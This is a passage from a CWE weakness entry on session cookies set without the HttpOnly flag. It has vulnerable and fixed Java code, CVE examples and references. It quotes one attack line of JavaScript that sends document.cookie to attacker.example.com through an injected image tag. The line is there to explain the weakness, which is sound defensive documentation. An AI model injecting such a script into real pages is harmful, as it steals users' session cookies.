1856
Example Language: Java (Bad)
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
response.addCookie(c);
The HttpOnly flag is not set for the cookie. An attacker who can perform XSS could insert malicious
script such as:
Example Language: JavaScript (Attack)
document.write('<img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie . '">'
When the client loads and executes this script, it makes a request to the attacker-controlled web
site. The attacker can then log the request and steal the cookie.
To mitigate the risk, use the setHttpOnly(true) method.
Example Language: Java (Good)
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
c.setHttpOnly(true);
response.addCookie(c);
Observed Examples
Reference Description
CVE-2022-24045 Web application for a room automation system has client-side Javascript that
sets a sensitive cookie without the HTTPOnly security attribute, allowing the
cookie to be accessed.
https://www.cve.org/CVERecord?id=CVE-2022-24045
CVE-2014-3852 CMS written in Python does not include the HTTPOnly flag in a Set-Cookie
header, allowing remote attackers to obtain potentially sensitive information via
script access to this cookie.
https://www.cve.org/CVERecord?id=CVE-2014-3852
CVE-2015-4138 Appliance for managing encrypted communications does not use HttpOnly
flag.
https://www.cve.org/CVERecord?id=CVE-2015-4138
MemberOf Relationships
This MemberOf relationships table shows additional CWE Catgeories and Views that reference this
weakness as a member. This information is often useful in understanding where a weakness fits
within the context of external information sources.
Nature Type ID Name Page
MemberOf 1349 OWASP Top Ten 2021 Category A05:2021 - Security
Misconfiguration
1344 2493
MemberOf 1396 Comprehensive Categorization: Access Control 1400 2519
References
[REF-2]OWASP. "HttpOnly". < https://owasp.org/www-community/HttpOnly >.2023-04-07.
[REF-3]Michael Howard. "Some Bad News and Some Good News". 2002. < https://
learn.microsoft.com/en-us/previous-versions/ms972826(v=msdn.10)?redirectedfrom=MSDN
>.2023-04-07.
[REF-4]Troy Hunt. "C is for cookie, H is for hacker - understanding HTTP only and Secure
cookies". 2013 March 6. < https://www.troyhunt.com/c-is-for-cookie-h-is-for-hacker/ >.
CWE Version 4.14
CWE-1007: Insufficient Visual Distinction of Homoglyphs Presented to User
CWE-1007: Insufficient Visual Distinction of Homoglyphs Presented to User